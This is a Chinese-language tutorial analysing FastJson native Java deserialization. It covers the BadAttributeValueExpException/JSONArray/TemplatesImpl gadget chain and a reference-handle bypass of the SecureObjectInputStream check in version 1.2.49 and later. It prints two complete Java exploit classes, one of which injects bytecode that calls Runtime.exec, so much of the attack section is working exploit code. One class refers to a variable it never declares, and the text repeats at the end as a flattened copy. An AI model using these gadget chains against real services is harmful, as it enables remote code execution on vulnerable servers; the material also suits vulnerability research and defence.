Java反序列化之FastJson原生反序列化
字数 1672 2025-08-24 16:48:16

FastJson原生反序列化漏洞分析与利用

1. 引言

FastJson是阿里巴巴开源的高性能JSON处理库,在1.2.48及以下版本中存在原生反序列化漏洞。本文详细分析该漏洞的原理、利用方式及绕过技巧。

2. 漏洞背景

FastJson提供了两种反序列化方式:

  1. 通过parseObjectparse方法利用@type加载类
  2. 原生Java反序列化方式(继承Serializable接口)

本文重点分析第二种方式,即原生反序列化漏洞。

3. 漏洞利用类

在FastJson包中,以下两个类继承了Serializable接口:

  • JSONObject
  • JSONArray

3.1 JSONArray利用分析

虽然JSONArray没有直接的readObject方法,但可以通过其他类的readObject触发其方法调用链。

关键发现:Json类中的toString方法会触发toJSONString方法调用,而toJSONString能够触发getter方法。

3.2 toJSONString触发getter方法验证

测试代码:

package JavaBeanTest;

public class Person {
    private String name;
    
    public String getName() {
        System.out.println("getName");
        return name;
    }
    
    public void setName(String name) {
        System.out.println("setName");
        this.name = name;
    }
}

package JavaBeanTest;
import com.alibaba.fastjson.JSON;

public class BeanTest {
    public static void main(String[] args) throws Exception {
        Person person = new Person();
        String JSON_Serialize = JSON.toJSONString(person);
        System.out.println(JSON_Serialize);
    }
}
// 输出:
// getName
// {}

调试发现:toJSONString最终调用serializer.write方法,进而触发getter方法。

4. 利用链构造

利用链思路:

  1. 找到一个能触发readObject的类
  2. 触发toString方法
  3. 调用toJSONString方法
  4. 触发getter方法实现RCE

4.1 利用BadAttributeValueExpException

利用BadAttributeValueExpExceptionreadObject方法触发toString

BadAttributeValueExpException.readObject()
    -> JSONArray.toString()
    -> JSON.toJSONString()
    -> getter方法

4.2 结合TemplatesImpl实现RCE

利用TemplatesImplgetOutputProperties方法触发动态类加载:

package EXPFastJson;

import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class FastJsontoString {
    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static void main(String[] args) throws Exception {
        TemplatesImpl templatesimpl = new TemplatesImpl();
        byte[] bytecodes = Files.readAllBytes(Paths.get("D:\\Tomcat\\CC\\target\\classes\\EXPFastJson\\DemotoString.class"));
        
        setValue(templatesimpl, "_name", "aaa");
        setValue(templatesimpl, "_bytecodes", new byte[][]{bytecodes});
        setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());
        
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);
        
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class Bv = Class.forName("javax.management.BadAttributeValueExpException");
        Field val = Bv.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException, jsonArray);
        
        // 序列化和反序列化
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
        objectOutputStream.writeObject(badAttributeValueExpException);
        
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

5. FastJson 1.2.49+的绕过

从1.2.49版本开始,JSONArrayJSONObject有了自己的readObject方法,并在SecureObjectInputStream中重写了resolveClass,通过checkAutoType进行类检查。

5.1 防护机制分析

反序列化流程:

ObjectInputStream -> readObject 
    -> SecureObjectInputStream -> readObject 
    -> resolveClass

安全的反序列化应直接在继承ObjectInputStream类中重写resolveClass

TestInputStream -> readObject -> resolveClass

5.2 绕过思路

利用引用类型绕过resolveClass检查:

  • 当向List、Set、Map类型中添加相同对象时,会在handles哈希表中建立对象到引用的映射
  • 再次写入同一对象时,会通过writeHandle将重复对象以引用类型写入

5.3 绕过EXP

package EXPFastJson;

import com.alibaba.fastjson.JSONArray;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;

public class FastJsonAll {
    public static void setValue(Object obj, String name, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    public static byte[] genPayload(String cmd) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"" + cmd + "\");");
        clazz.addConstructor(constructor);
        clazz.getClassFile().setMajorVersion(49);
        return clazz.toBytecode();
    }
    
    public static void main(String[] args) throws Exception {
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setValue(templates, "_bytecodes", new byte[][]{genPayload("calc")});
        setValue(templates, "_name", "1");
        setValue(templates, "_tfactory", null);
        
        JSONArray jsonArray = new JSONArray();
        jsonArray.add(templates);
        
        BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
        setValue(bd, "val", jsonArray);
        
        HashMap hashMap = new HashMap();
        hashMap.put(templates, bd);
        
        // 序列化和反序列化
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(hashMap);
        objectOutputStream.close();
        
        ObjectInputStream objectInputStream = new ObjectInputStream(
            new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
        objectInputStream.readObject();
    }
}

5.4 绕过原理

  1. 序列化时:

    • templates先加入到arrayList
    • 然后在JSONArray中再次加入TemplatesImpl
    • handles哈希表中建立映射,后续以引用形式输出
  2. 反序列化时:

    • 第一个readObject恢复template对象
    • 恢复BadAttributeValueExpException对象时,触发第二个readObject
    • 第二次恢复TemplatesImpl对象时,因为是引用类型,不会触发resolveClass

6. 总结

  1. FastJson原生反序列化漏洞利用JSONArray/JSONObjecttoString触发getter方法
  2. 结合BadAttributeValueExpExceptionTemplatesImpl实现RCE
  3. FastJson 1.2.49+通过引用类型绕过SecureObjectInputStream的防护
  4. 关键点在于利用两次readObject和引用类型绕过类检查

7. 参考

  1. FastJson反序列化漏洞
  2. FastJson与原生反序列化
  3. FastJson原生反序列化分析
FastJson原生反序列化漏洞分析与利用 1. 引言 FastJson是阿里巴巴开源的高性能JSON处理库,在1.2.48及以下版本中存在原生反序列化漏洞。本文详细分析该漏洞的原理、利用方式及绕过技巧。 2. 漏洞背景 FastJson提供了两种反序列化方式: 通过 parseObject 和 parse 方法利用 @type 加载类 原生Java反序列化方式(继承 Serializable 接口) 本文重点分析第二种方式,即原生反序列化漏洞。 3. 漏洞利用类 在FastJson包中,以下两个类继承了 Serializable 接口: JSONObject JSONArray 3.1 JSONArray利用分析 虽然 JSONArray 没有直接的 readObject 方法,但可以通过其他类的 readObject 触发其方法调用链。 关键发现: Json 类中的 toString 方法会触发 toJSONString 方法调用,而 toJSONString 能够触发getter方法。 3.2 toJSONString触发getter方法验证 测试代码: 调试发现: toJSONString 最终调用 serializer.write 方法,进而触发getter方法。 4. 利用链构造 利用链思路: 找到一个能触发 readObject 的类 触发 toString 方法 调用 toJSONString 方法 触发getter方法实现RCE 4.1 利用BadAttributeValueExpException 利用 BadAttributeValueExpException 的 readObject 方法触发 toString : 4.2 结合TemplatesImpl实现RCE 利用 TemplatesImpl 的 getOutputProperties 方法触发动态类加载: 5. FastJson 1.2.49+的绕过 从1.2.49版本开始, JSONArray 和 JSONObject 有了自己的 readObject 方法,并在 SecureObjectInputStream 中重写了 resolveClass ,通过 checkAutoType 进行类检查。 5.1 防护机制分析 反序列化流程: 安全的反序列化应直接在继承 ObjectInputStream 类中重写 resolveClass : 5.2 绕过思路 利用引用类型绕过 resolveClass 检查: 当向List、Set、Map类型中添加相同对象时,会在 handles 哈希表中建立对象到引用的映射 再次写入同一对象时,会通过 writeHandle 将重复对象以引用类型写入 5.3 绕过EXP 5.4 绕过原理 序列化时: 将 templates 先加入到 arrayList 中 然后在 JSONArray 中再次加入 TemplatesImpl handles 哈希表中建立映射,后续以引用形式输出 反序列化时: 第一个 readObject 恢复 template 对象 恢复 BadAttributeValueExpException 对象时,触发第二个 readObject 第二次恢复 TemplatesImpl 对象时,因为是引用类型,不会触发 resolveClass 6. 总结 FastJson原生反序列化漏洞利用 JSONArray / JSONObject 的 toString 触发getter方法 结合 BadAttributeValueExpException 和 TemplatesImpl 实现RCE FastJson 1.2.49+通过引用类型绕过 SecureObjectInputStream 的防护 关键点在于利用两次 readObject 和引用类型绕过类检查 7. 参考 FastJson反序列化漏洞 FastJson与原生反序列化 FastJson原生反序列化分析